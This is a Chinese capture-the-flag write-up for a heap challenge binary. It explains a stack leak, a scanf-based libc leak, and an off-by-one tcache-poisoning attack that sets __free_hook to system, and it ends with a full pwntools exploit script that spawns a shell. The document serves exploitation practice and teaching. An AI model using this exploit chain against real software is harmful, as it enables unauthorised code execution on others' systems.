setcbuf
代码 setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); 是用来设置标准输入、标准输出和标准错误流的缓冲模式的。
setvbuf 函数的原型如下：
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
该函数用于设置 stream 所指向的文件流的缓冲区，以及缓冲方式和缓冲区的大小。
- stream：要设置缓冲区的文件流，如stdin, stdout, stderr等。
- buffer：缓冲区的地址，设置为0LL表示完全不使用缓冲区。
- mode：缓冲方式，可以是以下常量之一：
- _IOFBF：完全缓冲 (full buffering)
- _IOLBF：行缓冲 (line buffering)
- _IONBF：无缓冲 (no buffering)
- size：缓冲区的大小。
在给定的代码中，setvbuf(stdin, 0LL, 2, 0LL); 意味着关闭了stdin的缓冲机制，即从stdin读取的输入不会被缓冲，而是直接从终端获取。
同样地，setvbuf(stdout, 0LL, 2, 0LL); 和 setvbuf(stderr, 0LL, 2, 0LL); 则分别用于关闭stdout和stderr的缓冲机制，从而输出将立即显示在终端上，而不会被缓冲。
泄露栈地址
name[3] = __readfsqword(0x28u);
name[0] = 0LL;
name[1] = 0LL;
read(0, name, 0x10uLL);
printf("name: %sage: %d\nhigh: %d\n", (const char *)name, (unsigned int)age, HIDWORD(age));// name泄露栈地址
转换
*(_QWORD *)(8LL * index + chunk_70_1_addr[0])
chunk_70_1_addr[index]
scanf
注意scanf的参数是栈顶的第一个元素的位置，如果此时输入-，scanf将不会写任何数据到scanf的第一个参数的位置，但同时会认为任务接收完成
由于此时栈顶的值为io_files_jump的地址，且最后会将栈顶元素的值赋值给要printf的参数，最后可以泄露libc基地址
栈地址
栈地址和libc基地址和heap基地址之间都没有固定偏移
思路
- 利用scanf的参数和最后printf输出的参数的相关联系以及scanf遇到-的特性泄露libc基地址
- 分配四个堆，大小都为0x18,第一个堆offbyone写第二个堆的size使得能够覆盖到后面两个堆
- free将三个堆都free掉
- malloc得到大堆，并同时修改后面堆的数据
- 修改第三个堆的fd为free_hook的地址（在tcachebin的起始位置 先进后出）
- malloc两次，并修改_free_hook的内容为system
- free（第二个堆块）（第二个堆块malloc构造/bin/sh即可以）
exp
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p=process("./ttsc")
gdb.attach(p,"b main")
libc=ELF("./libc-2.27.so")
def cmd(ch):
p.sendlineafter(b"chs:",str(ch).encode())
def add(idx, size, content):
cmd(1)
p.sendlineafter(b"index?\n", str(idx).encode())
p.sendlineafter(b"size:\n", str(size).encode())
sleep(0.1)
p.send(content)
def free(idx):
cmd(2)
p.sendlineafter(b"index?\n", str(idx).encode())
def edit(idx, content):
cmd(3)
p.sendlineafter(b"index?\n", str(idx).encode())
p.sendafter(b"content:", content)
if __name__=="__main__":
p.sendlineafter("what is your name?\n", b" ")
p.sendlineafter("age?\n", b"-")
p.sendlineafter("high?\n", b"-")
p.recvuntil(b"age: ")
lo = int(p.recvuntil(b"\n", drop=True), 10)
p.recvuntil(b"high: ")
hi = int(p.recvuntil(b"\n", drop=True), 10)
_IO_file_jumps = (hi << 32) | lo
libc_base = _IO_file_jumps - libc.sym["_IO_file_jumps"]
add(0,0x18,"0")
add(1,0x18,"0")
add(2,0x18,"0")
add(3,0x18,"0")
edit(0,b"a"*0x18+b"\x71")
free(1)
free(2)
free(3)
add(1,0x68,b"a"*0x18+p64(0x21)+p64(0)*3+p64(0x21)+p64(libc_base+libc.sym.__free_hook))
add(2,0x18,b"/bin/sh\x00")
add(3,0x18,p64(libc_base+libc.sym.system))
free(2)
p.interactive()